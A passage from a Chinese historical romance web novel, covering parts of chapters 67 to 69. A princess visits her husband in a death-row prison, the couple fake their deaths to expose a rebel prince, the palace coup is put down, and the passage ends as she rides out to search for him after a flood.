因此,当丽娘真的替苏甄儿找到门路进入死牢去寻陆麟城的时候,苏甄儿还真是有点被惊讶到了。 进入死牢的人,都是身犯重罪,即将问斩之人。 因此,死牢的条件自然不好。谁会愿意给马上就要死了的人费心思呢? 死牢内的一位看守是芙蓉馆的人,虽是自家人,但苏甄儿还是塞了银子给他。 那人趁着换班的时候,将苏甄儿带了进来。 死牢阴湿,常年不见日光,每间牢房以石头筑造而成,只有一扇窄窄的门,没有窗户,像逼仄的棺材。 墙壁上挂满了干涸的血迹,几盏幽幽油灯散发出微弱的光芒。 “馆主小心脚下。”看守在前面提醒。 苏甄儿点头,下一刻就踩到一块东西。 她挪开脚,低头。 那分明是一根新鲜的断指。 苏甄儿倒吸一口凉气,硬忍着没有出声。 “此处是死牢,有些人要关上几年才会被处死,不过没待多久就疯了,自己咬自己的手指玩。”那看守笑着解释,显然是见惯了。 苏甄儿可没有这样良好的心态,她只觉汗毛都竖起来了。 这样的环境下,不疯才怪。 她才进来一会,就感觉浑身不适。 到处都弥漫着腐烂腥臭的味道,还有一股排泄物的恶心臭味。 苏甄儿抬手掩住鼻息,忍着恶心和恐惧,终于来到死牢最深处。 那看守站住,压低声音道:“北辰王被关押在此处。” 苏甄儿深吸一口气,“开门。” “不行!”牢内传来另外一道声音。 苏甄儿听出来是陆麟城的声音。 她的怒气一下就窜了上来,一把抢过看守手里的钥匙,直接就将门给打开了。 斑驳生锈的厚重铁门被她猛地一下推开,然后又被里面的人单手按住。 苏甄儿:…… “陆麟城,松手。” 门内的人没有回答,按着铁门的力道却下意识松了几分。 虽然松了几分,但苏甄儿依旧推不开。 “啊,夹到我手了!”苏甄儿突然惊叫一声。 铁门猛地一下松开,陆麟城站在门边,神色焦急地低头朝苏甄儿的手指看过去。 青葱玉指,另外一只手端着一盏油灯,并没有受伤。 陆麟城松了一口气,知道苏甄儿是在骗自己。 两人终于见面。 身穿囚服,面色苍白的男人站在那里,无窗,无灯,黑暗一片。苏甄儿甚至都不能看清这个地方到底有多大,只感觉到一股无言的寂静感从四面八方涌来,不断吞噬着一个人的精神力。 “陆麟城。” 女人身披黑袍,手中托一盏油灯。 她安静地站在光里。 千年暗室,一灯即明。 她站在光里,而他的身侧游移着阴沉的黑暗。 男人不敢与她对视,嗓音沙哑的开口,“你不该来。” “我想见你一面。” 苏甄儿冷静的说着话,手持油灯往前走,可实际上,在看到陆麟城的第一眼时,她的眼眶就红了。 “你在刺杀前告诉我你的身世,是为了保护我,对不对,陆麟城?”陆麟城站在那里,不回答,继续回避苏甄儿的视线。 看到男人的回避,苏甄儿深吸一口气,继续道:“陆麟城,你还记得除夕夜那晚奶母来找我说,要摆东西的事情吗?” 男人抿了抿唇,终于开口,“记得。” “我记得说,下次会告诉你,现在我告诉你为什么。按照传统,该在年夜饭桌边摆上我父兄和母亲的座椅碗筷,可一直被我拒绝。死人已经死了,活人就该好好活,想念的人自然在心里。” “陆麟城,人不能总往后看,人应该往前看,”苏甄儿走到陆麟城面前,安静地仰头看他,“你可以看到我吗?” 这次,陆麟城终于避无可避。 女子柔软的五官被灯光照亮,明显比之前最后一次见面瘦了许多。 “能看到。”陆麟城情不自禁开口,“你瘦了。” 苏甄儿笑一声,眉眼舒展下来。 她抬手,隔着囚服抚上陆麟城心口。 “这里的伤,我陪你一起治,好不好?” 女人柔软的掌心隔着囚服触摸他的心脏。 心脏变得滚烫而炙热,陆麟城几乎要被眼前柔软的爱情淹没。 男人的眼中闪过纠结,他看着苏甄儿的眼神之中满是柔情不舍,可最终,他还是狠心的向后退了一步,“不,我……” “陆麟城,你只知你的痛苦,却不知我的痛苦与你一样多。” 腥臭的死牢,到处都是斑驳的血迹,阴森古怪。 女人红着眼眶,声音哽咽,原本死死站在那里的男人猛地抖动了一下身体。 苏甄儿流着泪,转身就走。 陆麟城抬脚,却又定住。 他望着眼前空荡荡的地牢门口,眼神迅速黯淡,轻薄的唇被咬出一道明显的血痕。 血腥味刺激着口腔,陆麟城咽下生锈的铁味,指尖轻动了动,然后迅速蜷缩起来。 牢内安静至极,陆麟城缓慢转身,突听到身后传来脚步声。 他扭头,女人手里捧着那盏油灯,红着眼眶又回到了他面前。 陆麟城双眸瞪大,脸上露出不可置信。 “你为什么要刺杀皇帝?你跟周玄祈有什么计划?” 陆麟城是一个怎样的人苏甄儿再清楚不过。 他虽从尸山血海中踏出来,但却是与她一般,最是厌恶战争。 一个厌恶战争的人怎么可能会主动去刺杀皇帝,引发动荡,刺激战争。 陆麟城知道苏甄儿很聪明,可没想到她这么快就猜到了。 “我,我不想你,陷入危险。” 终于撬开这颗闷葫芦,苏甄儿也跟着松了一口气。虽然气他之前的事,但相处了这么久,苏甄儿十分明白陆麟城的性格。 她明白他的自卑、怯弱、恐惧。 因此,她愿意回来。 就像他明白她的骄傲、自尊、虚荣。 一次次的纵容她的任性。 “陆麟城,我不要躲在你身后,我想跟你一起面对。” 苏甄儿伸手,去握男人的手。她柔软的指尖勾住他的手指,轻轻合拢,“好吗?” 苏甄儿握紧他的手,十指相扣,不容许陆麟城逃开。 “啊!老鼠!老鼠!”突然,一道崩溃的声音响起,“老鼠在啃我的手指头!” 一道人影从黑暗角落中跳出来,苏甄儿勉强稳住手中油灯,在昏暗的油灯光线下,她看到了那个人的脸。 “陛下?” 周玄祈还抬着一只脚躲避老鼠,被发现后,他下意识心虚地摸了摸鼻子。 “咳,那个……”周玄祈整理了一下自己的仪态,撩袍正欲坐到陆麟城的床上。 “别坐我的床。” 周玄祈:…… 又脏又臭的谁要坐啊!不知道躺过多少尸体呢! 然后下一刻,周玄祈身上的外袍就被陆麟城扒了下来垫在床上,陆麟城牵着苏甄儿的手,将她引到那里,“坐。” 苏甄儿看一眼,略显嫌弃,“不坐了。” “好。”陆麟城点头,然后将视线投向周玄祈,“你坐。” 周玄祈:…… “行了,你们两个给我说清楚,到底是怎么回事。”苏甄儿心中有气,连带着对大周皇帝的恭敬都忘得一干二净。 面对自家兄弟这位老婆,周玄祈确实是十分心虚的。 “咳,朕怎么会怀疑一个,替我踏过鬼门关的兄弟。” 场面回到太后大殓那日晚上,陆麟城被孙乾铭叫走。 御书房内,陆麟城推门进去,孙乾铭立时转身守在门口。 御书房内只有周玄祈一人,就连陆麟城刚才过来的路上,都没有看到其他人。 门窗紧闭,寂然无声,飞虫绕灯而转,外面细碎的风吹翠竹之音断断续续,偶听得虫鸣之声,御书房内却唯闻两人的呼吸声。 “闻严,你过来些。” 周玄祈站在灯侧,因为光线太强,所以反而看不清表情。 他朝陆麟城招手。 陆麟城面无表情的朝他走过去,在距离两人三步之遥的地方停住。 “再近些。” 陆麟城盯着他看,哑声开口,“我不是庸王的人。” 周玄祈一愣,随后笑了,“我当你真不在意我们之间的情意呢。” 周玄祈知道陆麟城的性格,既然愿意解释,那自然是在意的。而他唤他过来,也是要处理这件事。 周玄祈表情变得严肃起来,“闻严,你若想活命,我也不会怨恨你。” 听到周玄祈的话,陆麟城的表情没有太大变化,只是缓慢吐出四个字,“不做怪物。” 周玄祈深深看他一眼,然后走上前。 两人贴身而站。 周玄祈的声音极低,就算现在他们附近站着第三个人,也一定听不到。 “那诏书上写的不是我的名字。” 先帝遗诏,传位庸王。 对比起他这个血缘关系疏远的小地方藩王,先帝自然还是属意自己的亲生血脉。 对于这个秘密,周玄祈保守了数年,今日终于让第二个活着的人知道了。 “现在你知道了……” “我不知道,是你非要告诉我的。” 陆麟城眸色警惕地看着周玄祈。 周玄祈:…… “闻严,你应该明白我的意思。” “我告诉你这件事,是希望你信我,也希望你相信,我信你。我对你身为庸王奴隶死士的事并不在意,我们认识多年,你有很多机会能杀我,可却救我数次。” 顿了顿,周玄祈继续,“庸王不臣,今次入京你该知道会发生什么事。” 周玄祈的表情极其严肃。 陆麟城知道,他说的没错。 陆麟城陷入沉默,随后道:“她最讨厌战争。” 周玄祈没有接话,他知道,陆麟城听进去了。 又是一阵极长的沉默,陆麟城终于开口,“说吧,你的计划。” “所以接下来你们的计划是什么?”听到这里,苏甄儿抬眸询问。 并且,她十分意外周玄祈居然会将这么重大的秘密告诉她。 “原本此局还要谢楚安和周莲芝相助,可惜,他们被庸王的人困在了回金陵的路上。”周玄祈拧着眉,“庸王最忌惮闻严,只要闻严死了,一切就好办了。” 苏甄儿眸色顿沉,看向周玄祈的眼神带上了杀意。 周玄祈:…… 周玄祈跳脚,“假死!假死!” 苏甄儿依旧没有放松警惕之心,“陛下为何将诏书的秘密告诉我?” 周玄祈表情一变,“大家各自知晓互相的秘密,才能产生最完美的信任。而且……”周玄祈的表情再次心虚,“你父兄两世忠勇,护佑大周百姓,也是为了送诏书而死……我篡改了诏书,你不生气吗?” 苏甄儿摇头,“庸王不仁,残暴无德,喜好战争,皇位不能落到他手上,不然如我父兄之人还会死上千千万万个,这世上也会再多上千千万万个我与奇哥儿。”顿了顿,苏甄儿真心道:“陛下顺应民心,偃武修文,是个好君主。苏甄儿愿与相公一起,为陛下,为百姓拼个时和岁丰。” 说完,苏甄儿抬头看向站在自己身侧的陆麟城。 周玄祈下意识也跟着看向他。 在两人的注视下,陆麟城攥紧苏甄儿的手,终于艰难点头道:“好。” 周玄祈也忍不住跟着点了点头,“只是现在有一个难题,闻严体内的蛊虫要怎么办?我虽已经让人去南疆请人回来了,但这一来一回……” “我有解蛊药。”苏甄儿从袖口内掏出一个瓷白小瓶,递给陆麟城。 陆麟城打开,直接吞咽下去。 苏甄儿一愣,“你不怕我给你吃毒药啊?” 陆麟城摇头,“不怕,毒药也吃。” 第68章 触真心 “金陵小报, 金陵小报!” 最近的金陵小报卖疯了,大街小巷都在传那位赫赫有名的大周战神北辰王,因为被爆奴隶身份, 与皇帝产生间隙, 又被夺了兵权,所以愤而刺杀皇帝,被下死牢,赐毒酒而亡。 一代战神, 就此落幕, 令人唏嘘。 “从前多风光的一个人啊。” “是啊,还有那位北辰王妃也真是够惨的。不过倒也是伉俪情深, 听说刺杀前就给了和离书, 没想到这北辰王妃不愿和离,就连尸体也是她带回了英国公府。” 北辰王府已被查封。 皇帝顾念旧情, 放过了英国公府, 也准许苏甄儿将陆麟城的尸体带回英国公府发丧。 只是这位北辰王犯下这样的事, 谁敢来呢? 一日丧事, 硬是连一位前来吊唁的人都没有。 苏甄儿在灵堂上跪了半日,腿脚酸软, 正欲起身之时,便见前面急匆匆行来一个人。 是周莲芝之父, 荣国公。 “周伯父?” “甄姐儿。”荣国公现在朝中也是有头有脸的实权人物,他顶着这样的风声过来给陆麟城吊唁,是为了给苏甄儿撑腰。 “日后有事尽可来寻伯父,你若不嫌弃, 伯父托大,当你半个父亲。” 苏甄儿红着眼眶点头, 亲自请荣国公入席。 天色渐暗,苏甄儿坐在棺材边,随手拿起案上的一个果子扔进去。 棺材还有一条缝没有合上,那果子就顺着缝隙进去了。 “一天了,就周伯父来,还是托我的福气。” “陆麟城,你的人缘好差。” 陆麟城:…… 棺材里传来男人闷闷的声音,“甄甄,我犯的是刺杀皇帝的死罪。” 荣国公敢过来,已经是把脑子挂在腰杆上了。 天色晦暗下来,管家靠在门边打了一个哈欠,下一刻,一辆刻着梵文佛经的马车停在英国公府门口,从里面走出来一位宫装丽人。 管家不识,赶忙去唤苏甄儿。 苏甄儿闻讯出来,看到居然是曹梦湄。 “节哀,”曹梦湄伸手握住苏甄儿的手,“人死不能复生,这是我亲手抄的佛经。” “多谢。”苏甄儿接过曹梦湄手里的佛经。 曹梦湄叹息一声,“我就不进去上香了,你知道的,北辰王刺杀的是我丈夫。今日过来,我也是看在你的面子上。” 苏甄儿点头,拿着佛经回到灵堂,还想调侃男人两句,便听到一阵铁链拖地之声。 苏甄儿的表情立刻严肃起来。 她站起身,单手扯下一侧白色帘子,虚虚掩住棺材。 “这灵堂也着实是冷清。”走在最前面的庸王左右打量,脸上挂着嘲讽。 他身后跟着十个死士,黑洞洞的眼神令人不舒服。 “庸王殿下是过来吊唁的?”苏甄儿侧身挡在庸王面前。 纤细羸弱的身段,包裹着白色丧服,眼神却半点都不弱。 “当然。”庸王站定,接过苏甄儿手中三炷香,上前随意拜了几拜,随后背着苏甄儿掏出铃铛,对着棺材摇了摇。 铃铛中的母蛊毫无反应。 这是从来没有出现过的事情。 因为只要子蛊活着,就算再千里之外摇动铃铛,母蛊都会活跃起来。 所以,难道陆麟城真的死了? 庸王突然拨开面前白绫,抬脚靠近棺木。 苏甄儿面色大变,上前一把拽住庸王衣带,“我的丈夫已经死了,你还要怎样!如果不是你出现,他还是北辰王,我还是北辰王妃!” 庸王也没有想到,这女人看似柔弱,却直接一把拽下了他的腰带。 衣带玉环散落一地,庸王面色难看至极,再管不了那棺木,只来得及提自己的裤子,“松手!” 下一刻,原本还站在那里狼狈痛哭的女人突然侧身朝棺木冲撞过去,“王爷,妾来陪你!” 鲜血迸溅而出,有些甚至都溅到了庸王身上。 庸王愣了愣,周围奔出府中奴仆,一齐围堵过来,“快叫医士,快叫医士!” 荣国公听到消息从里面出来,手里还拿着筷子,“怎么了?这是怎么了?” 绿眉哭泣大喊,“庸王殿下逼死了王妃!” 庸王就算是脸再厚,也留不住了。 更何况,他并不是脸厚的人,反而有着极强的自尊心。 “不是本王,是她自己撞的。” 话罢,庸王抬手一挥,带着死士转身离开。 既然母蛊毫无反应,这陆麟城应当是真死了。 当初留他一命,只是想看看这小奴隶能活多久,没想到居然活成了北辰王。原以为自己握住了一枚好棋子,他让陆麟城去刺杀周玄祈,也是为了试探他,没想到居然就这样死了。 可惜了鬼面军,成事之时,不能为他所用,不然他必赢。 不过如今局面,周玄祈左膀不在身边,右臂已断,身旁无可用之人,他倒是要看看,这个小藩王还怎么坐稳他身下的皇位。 灵堂内乱成一团,众人七手八脚的将苏甄儿抬入正屋,然后又去请医士。 绿眉坐在床边,与奶母一起哭得撕心裂肺。 奇哥儿闻讯赶来,看到自家阿姐满额头的血,整张脸惨白至极。 他一下跪倒在床边,颤抖着手去探自家阿姐的鼻息。 有气,还有气。 奇哥儿努力抑制住自己颤抖的嗓音,“医士,医士呢,怎么还没有来!”说完,他转头看向木施上挂着的干净巾帕,立刻踉跄着起身扯下来,将其按压在苏甄儿头上。 浓稠的鲜血一股一股涌出,浸湿了奇哥儿的指尖。 奇哥儿哭红了眼,手止不住的颤抖。 突然,奇哥儿一顿,指尖轻轻捻了捻,感觉到这血似乎有点不对劲。 “医士来了,医士来了!” 奇哥儿神色疑惑地退开。 医士放好箱子,与众人道:“都出去,别打扰我。” 众人被赶了出去,屋内瞬间空下来。 苏甄儿捂着自己被奇哥儿包得圆鼓鼓的脑袋坐起来,“好像被奇哥儿发现了。” 丽娘伸手拽了拽自己的胡子,“那怎么办?” “没事,这孩子聪明着呢。” 果然,下一刻,门口传来奇哥儿阻拦荣国公的声音,“伯父,医士在里面,您不必担忧,若进去扰了医士诊治,反而不好。” “好好,我在这里等着。” 屋内,丽娘伸手替苏甄儿调整绷带。 “王妃别动,我替你重新弄弄。”- 苏甄儿撞棺一事很快便传开了。 “听说那位北辰王妃现下也就是吊着一口气。” “伉俪情深,看来是真的了。” 听到消息的曹梦湄赶来探病。 主屋内弥漫着药味,美人单衣薄衫躺在床上,额头包裹着白色绷带,上面还沾着血迹,面色惨白,表情悲切。 “苏甄儿。”曹梦湄一把握住苏甄儿的手,脸上露出欲言又止的表情。 终于,她趁着四下无人,贴身靠近苏甄儿,“陆麟城是假死。” 生恐苏甄儿再做出傻事,曹梦湄把周玄祈与陆麟城的计划说给了她听。 “太庙祭祀,炸药人身上有庸王的奴隶烙印。” “还有,禁军统领肖尧也是庸王的人。” 怪不得那个时候在太庙那个人身怀炸药却能藏那么久,原来禁军统领肖尧居然是庸王的人。 庸王此人自负至极,今日入金陵,以为有禁军统领肖尧这个底牌在,一定能将周玄祈拉下王位,没想到这个看似柔弱的皇帝,实则心机深沉,最擅长扮猪吃老虎,真真是螳螂捕蝉,黄雀在后。 “我知道。”苏甄儿起身,从枕头下面掏出把镜子,看到自己惨白的脸。 今次的粉抹得还真不错。 曹梦湄:??? “你知道?你知道还……等一下,你也是假的?” “嗯,留的后手,就怕庸王真掀了棺材盖。” 曹梦湄立刻松了一大口气,“我还以为你不知道,真殉情了。” 苏甄儿摇头,表情骤然严肃,“就算陆麟城真死了,我也不会殉情的。像你说的,情爱之上还有更宏大的命题要完成。”顿了顿,她眉目下垂,“虽然我会悲痛万分,伤心欲绝,但毕竟我也有自己的家人和人生。” 曹梦湄看着她,轻轻点了点头,“我只知道他们要做局,具体的却是不太清楚。”随后,她又笑道:“现在看来,你比我清楚,那我也不必担心了。”- 夜半,周围安静下来,苏甄儿感觉脸上有手抚过。 她睁开眼,看到蹲在自己床边的陆麟城。 “你怎么出来了?” “没事,没有人看到。”陆麟城的手轻轻按了按绷带处,“疼不疼?” “傻子,是假的,怎么会疼。” “可是你真撞到了。” 陆麟城在棺材里,明显听到“咚”的一声,虽在发髻中加了缓冲物和血包,但确确实实是挨了一下。 “没事,就是那一下有些晕。” 男人垂首,额头靠在苏甄儿肩膀上,“我从未想过,我就是地上卑贱的污泥……” “不许你这样说我男人。”苏甄儿轻轻敲了敲陆麟城的脑袋,语气温和下来,“难道我堂堂苏甄儿,会爱上污泥吗?陆麟城,你是这个世界上最好的人。”苏甄儿侧身,抚摸他的脸。 男人歪头,半垂眉眼,面颊蹭上苏甄儿柔软微凉的掌心。 “十里亭边的梦芙蓉很好看,你回来的时候再替我带一朵。” “你知道?”陆麟城双眸睁大。 那几日,其实他都躲在府中,只每日出去与庸王会面。 “现在知道了。”苏甄儿狡黠一笑。 虽然芙蓉馆的探官没有找到陆麟城的踪迹,但却探寻到庸王的人在十里亭边的痕迹。故此,苏甄儿才有此猜测,并诈了诈陆麟城。 陆麟城:…… “你会去刺杀皇帝,是因为庸王用子母蛊威胁你,对不对?” “嗯,我不怕死。” “可是我怕你死。” 陆麟城垂眸,对上苏甄儿忧伤的眼。 他沉默一瞬,道:“我也怕你死。” 这一刻,千言万语只剩下细密绵长的沉默。 苏甄儿知道,陆麟城要与她和离,就是想让她远离此次危险。是她执意回来,想与他一道并肩而行。 黑暗中,苏甄儿听到自己微哑的声音,“我不会死,你也一定要平安回来,好吗?” 两人十指交握,黑暗中只能模糊看到彼此人影,却皆触及真心。 陆麟城道:“好。”- 九月,禁军统领肖尧伙同庸王造反。 十三连同一队鬼面军被陆麟城安排留守王府,苏甄儿吩咐众人关闭府中大门,守好进出口。并将府中各处都点上灯笼,插上火把,一瞬时,整个王府瞬间光亮起来,没有一点可藏人之处。 苏甄儿换上干净利落的骑装,背上箭筒,手持长弓立在院中,表情严肃的安静聆听府外动静。 “王妃,外面乱了。”十三从墙上跃下,表情严肃。 “我知道了。”苏甄儿点头,转身面向众人道:“我们府中有军队在,自然比外头安全,要乱也是从里面先开始乱。我今日要告诉大家,你们守的不是王府,是家中寄托,今日留在府中的都是家生子,一家子都在府内,为保家人平安,也为了保自己平安,我相信大家知道该怎么做。当然,过了这场乱战,我也不会亏待大家。” 苏甄儿早已安排好,只留下府中家生子和签了死契的家奴。 不过为了避免府中内乱,她还是出来说了这么一番话。 女人声音不大,可字字句句却直击人心。 “王妃放心,我们一定守好王府。” “对,一定齐心协力守好王府。”- 夜色浓稠,闷热的空气夹杂着血腥气四散。 “走水了,走水了!” 宫内起火,太监宫娥们到处搬人救火。 周玄祈独坐御书房内,望着大开的门窗,慢条斯理打开一本奏折。 下一刻,身穿禁军服的禁军统领肖尧进入御书房,“陛下,宫内走水,还请陛下随臣暂避。” 周玄祈身形未动,落下一笔,“肖大人,你从前是跟着先帝的。” 肖尧面色不变,恭谨道:“是。” “那在跟着先帝之前,你又是跟着谁的?” 肖尧面色瞬间阴沉,单手按住了自己腰间长剑。 “肖大人不说,朕替你说,是庸王殿下那位外祖父吧?驰骋沙场,立下赫赫战功,封狼居胥,无上荣耀,最终却落得个谋逆的下场。” “那不是谋逆,是诬蔑!”肖尧的面色涨得通红。 他年近四十,还年轻,不清楚当年到底发生了什么,只知道一家惨死,是太后秘密将他救了出来,改名换姓一路扶持走到如今地位,他也知道自己活着就是为了今日。 “那不是诬蔑,就是谋逆。”周玄祈神色冷静的反驳肖尧,并将手中当年姚家谋逆的密信证据扔到他面前,“你自己看看吧。” “别信他。”一道声音从肖尧身后响起,庸王手持沾染着血色的长剑,一脚踩住那封密信,“区区一封信,如何能作为证据。” “呵,”周玄祈低笑一声,“那庸王殿下有什么证据证明,那并非谋逆呢?” 肖尧下意识将目光投向庸王。 庸王冷笑,骄傲自负的他懒得狡辩,“蠢货,就算是真谋逆,你现在反水,也难逃一死。” 肖尧愣住了。 显然,他没有想到当年谋逆一事居然是真的。 所以,他的父母亲族,并非是被冤枉的,而是真的犯下滔天大罪。可是他现在,确实已经没有选择了。 想到这里,肖尧抬剑,指向了周玄祈。 周玄祈摇了摇头,将目光转向庸王,假装无知,“庸王殿下深夜提剑入宫,不知所为何事?” “自然是来救驾。”庸王睁着眼睛说瞎话,大踏步走向周玄祈,“只要陛下写下传位诏书,本王必保陛下性命无虞,安乐后半辈子。” 周玄祈叹息一声,“如果朕不写呢?” “那就怪不得本王,送陛下上路了。” “庸王就不怕这位置坐的名不正言不顺?” “不怕,本王就喜欢有挑战性的事。”话罢,庸王绕过御案,伸手去拽周玄祈的瞬间,一柄软剑从案下刺出,稳准狠地割断庸王右手筋脉。 鲜血喷涌而出,庸王踉跄后退,抬起左手格挡的瞬间看清面前的人。 “你没死?” 陆麟城又一剑割断庸王左手臂上厚重的铠甲,近身攻击,“嗯,还活着。” 庸王连退数步,一旁回神的肖尧插进两人之间救下庸王。 庸王暂时获得喘息,他紧紧捂着自己的右手,“堂堂北辰王,用如此阴毒的招数。” 周玄祈躲在角落,慢慢从屏风后摸出自己的佩剑,淡笑道:“兵不厌诈,庸王殿下。” 下一刻,看起来风清月朗的皇帝陛下也在瞬间加入战局,与肖尧打斗起来。 庸王虽不能用右手,但他的左手刀却依旧舞得虎虎生威。 一时间,陆麟城竟有些奈何不了他。 “哟,我来的正是时候。”一道清亮的声音从外传来。 满身血色的娃娃脸锦衣卫指挥使谢楚安抬脚踏入御书房。 “你也没死?”庸王看到谢楚安,脸上的表情终于绷不住了。 “是啊,不过你的死士都死得差不多了。还有你带过来的那些兵,也死得差不多了。闻严,早知道你的鬼面军这么厉害,该早借我啊。对了,把肖尧借我,单靠锦衣卫,那些禁军倒还真有些难对付。” 话罢,谢楚安迅速出手,跟周玄祈一起将肖尧制服。 庸王看向半死不活被谢楚安拖出去的肖尧,知道自己大势已去。 今日宫变,竟是一场瓮中捉鳖的把戏。 这些小儿将他耍得团团转! 走神之时,庸王被陆麟城一脚喘飞,重重砸到御柱上,断了十几根肋骨,瞬间动弹不得。 消耗大量体力终于将人制服,陆麟城大口喘气,软剑抵住庸王脖颈,看向他的眼神带着凶狠的杀意。 “小奴隶,本王还真是小看你了。” “庸王殿下说错了,这是大周的北辰王,可不是你的小奴隶。”周玄祈笑眯眯地伸手搭住陆麟城的肩膀,随后面色一变,“庸王谋逆,打入死牢。” 听到此话,庸王突然暴怒,“这江山本来就该属于我们姚家!” 他左手死死抓住陆麟城的软剑,用力割断自己的脖颈,“本王,绝不受辱……”- 这场变乱持续一夜,直至天空破晓,一场大雨将覆满血迹的宫阶冲刷一新。 那绵延的淡红色血迹如同瀑布一般从上蜿蜒而下。 锦衣卫正在处理尸首。 周玄祈和陆麟城以及谢楚安三人,一前两后站在正殿上。 “结束了。”周玄祈缓慢开口,“终于结束了。” “嗯,我要回家了。”陆麟城甩了甩手中软剑,随意撩起周玄祈的龙袍下摆擦了擦,放回自己腰上。 周玄祈看着自己本来就脏的龙袍更脏了。 周玄祈:……呵,跟谁没有家似得。 “我娘子也在家里等我呢。”谢楚安从御案上捞了一块沾血的糕点,掰掉那半脏污部分,将剩下的胡乱塞进嘴里,“嗯,味道不错,给我娘子拿点。” 周莲芝和谢楚安被庸王的人挡住了回来的路,幸好成功脱困回到金陵,并且及时赶上这场宫变大戏,跟守在城外的鬼面军联系上,帮助周玄祈处置了庸王安置在城外的士兵。 两人的税改政策推动非常顺利,一路也抓了许多贪官污吏,惩治了诸多恶霸豪强,当然,这又是另外一个故事了- 一切终于结束,苏甄儿看到平安回来的陆麟城,忍着热泪,朝他飞奔过去。 男人伸出单臂将人接住,两人紧紧搂在一处。 苏甄儿嗅到他身上浓厚的血腥味,夹杂着几缕微不可闻的清香。 “梦芙蓉。” 苏甄儿独爱芙蓉,尤其是粉红色的芙蓉花。 不算过分张扬艳丽,却又出彩多姿。 “嗯,你说想要的。” 他总是记得她说的每一句话。 苏甄儿捧住陆麟城的脸,吻上他带着血迹的唇。 “我爱你,陆麟城。” 第69章 大结局 男人满身血污的回来, 洗了三四遍,苏甄儿还没有满意。 “多打几遍皂角,还有那些干花瓣也要撒进去。”隔着屏风, 苏甄儿一边喝着奶茶, 一边指挥陆麟城。 “嗯。”屏风后传来陆麟城努力洗澡的声音。 “王妃,”绿眉打了芦帘进来,手里拿着一封密信,“方才福来客栈送来的。” 苏甄儿伸手接过, 先观赏了一下自己刚刚用凤仙花染好的指甲, 紧张刺激的战斗之后当然要好好犒劳一下自己劳累的身心了,然后才慢条斯理打开信封。 信封里掉出一张纸, 上面是丽娘的手写字条:“从姑苏送来的新资料。” 苏甄儿神色一顿, 下意识朝屏风后面看了一眼。 她站起来,走出主屋, 来到廊下。 日光穿廊而下, 苏甄儿将信封内誊抄的资料拿出来, 细细看过一遍, 然后猛地转身奔入主屋。 “陆麟城,陆麟城!” 陆麟城正在浴桶内努力洗澡, 听到苏甄儿唤他,扭头朝她看过来。 他的头发上还有没洗干净的血痂, 身上倒是没什么伤口,都是些旧伤。 热气蒸腾,苏甄儿来到他身边,用帕子给他擦了擦脸上水渍, 然后将手中的资料递到他面前。 陆麟城低头看去,白雾鼓鼓如烟, 挡住了他的表情。 苏甄儿缓慢开口,“你说当时自己是因为一场火灾,所以意外从庸王手中逃脱。其实,那场火灾并非意外。” 资料上言,是一个奴隶和一个死士制造了这场火灾。 那个奴隶是一个极其美丽的波斯女人。 而那个死士,很明显应该是陆麟城的父亲。 一个手无缚鸡之力的女奴隶,一个被药物侵蚀几乎已经丧失理智的死士,拼死为自己的孩子搏出一条生路。 “陆麟城,资料上说,你是那场火灾中唯一逃出来的人。” “我相信,这场火灾不是意外,是你的父母用生命替你换来的一条生路。” 苏甄儿尽量以平和安静的语调说完这些话,透过纯色白雾,她看到陆麟城微红的眼眶。 他似乎是还没有完全接受这个消息,神色略显懵懂地抬手,湿漉漉的指尖握住她的手腕,轻轻抓住,像是在下意识寻求帮助。他坐在浴桶里,小狗一般睁着一双无辜而仓皇的眼望向她。 苏甄儿贴身抱住他,身上的薄衫被水打湿,贴在他炙热的肌肤上。 “他们爱你,我也爱你。”- 夏日午后,连鸟都歇了。 周玄祈给陆麟城放了一个长假。 “有点痒。”罗汉榻上,男人没穿上衣趴在那里。 苏甄儿跪坐在他身边,手持画笔,柔软的笔尖划过他斑驳的脊背,最后落到后腰那道敏,感处。 这里肉眼可见,有被利刃蛮横刮过的疤痕,硬生生缺了一块肉。 苏甄儿的指尖划过这道创口,继续作画。 完成后,她单手托腮欣赏着自己的画作。 褐色的罗汉榻上铺叠着绿色的绸被,男人横躺在上面,胡乱散开的腰带,劲瘦白皙的腰肢,斑驳的伤口上是鲜艳欲滴的粉色芙蓉,蜿蜒曲折在腰肢上缠绵。 陆麟城百无聊赖地抠了抠身下绸被,娇嫩的绸被被他粗糙的手指摩擦出了丝线,男人神色微动,将那块地方盖好,转移话题,“好了吗?” “嗯,好了,颜色不错。” 墨坊送来一盒颜料,苏甄儿突发奇想用陆麟城来试色,便在他身上作了一副芙蓉图。 “那是不是轮到我了?” 苏甄儿一懵,“轮到你什么?” 男人半眯起眸子,斑驳的阳光从窗外洒入,他的眸子沁出古怪的绿,喉头滚动,“作画。” 苏甄儿扭身就跑,被陆麟城单手揽住腰肢抱了回来- 幸福的时光并未持续多久,休息了不过半月,陆麟城便要带鬼面军出门去清理庸王余党,所以苏甄儿正在替他准备出门的行装。 “要带糕点吗?” “糕点不能长存,我带馕饼就好了。” “馕饼不会坏吗?” “馕饼削掉发霉的部分烤一烤还能吃。” 苏甄儿:…… 这么多年了,这位的习惯还是没有变。 苏甄儿替陆麟城整理出来一个大箱子,这还是精简过的,“衣服鞋袜腰带束发内衣皂角……”苏甄儿一个一个数过来,觉得每一样都缺不了。 陆麟城甚至还在里面发现了一床绸被,上面的破洞略微有些眼熟。 “差不多了吧。”苏甄儿点头。 虽然按照陆麟城的习惯肯定是用不上这么多东西的,但因为此次任务没有那么急切,所以他还是遵照苏甄儿的意愿带上了。 “这个箱子可是我最喜欢的陪嫁箱子,上面的芙蓉花是我阿娘亲自刻上去的,你要好好给我带回来。” 苏甄儿坐在箱子上晃着腿跟陆麟城撒娇。 男人俯身下来亲她,“好。”- 男人一去就是一个多月,苏甄儿一个人在金陵城内不是跟周莲芝玩,就是去宫里找曹梦湄玩,要么就是去参加一些雅集宴会。一开始倒也没有那么想他,过了一段时间之后竟是越来越想。 到底什么时候能回来呢? 夏去秋来,苏甄儿收到消息的时候,她正在绣花楼选衣裳。 因此,待她回到王府,才从管家那里拿到那封密信。 连日暴雨,陆麟城带领的鬼面军在回来的路上遇到洪流,山体塌方,断了联系。 如今已被困在山中五日。 周玄祈那边已经派谢楚安带队过去救援。 “王妃,您也要去?”绿眉看苏甄儿随意收拾了一下东西就骑马准备离开。 “嗯,我心里不安。”苏甄儿抓住身下的红缨,伸手安抚地拍了拍它的头。 同样焦躁不安的红缨瞬间也跟着安静下来。 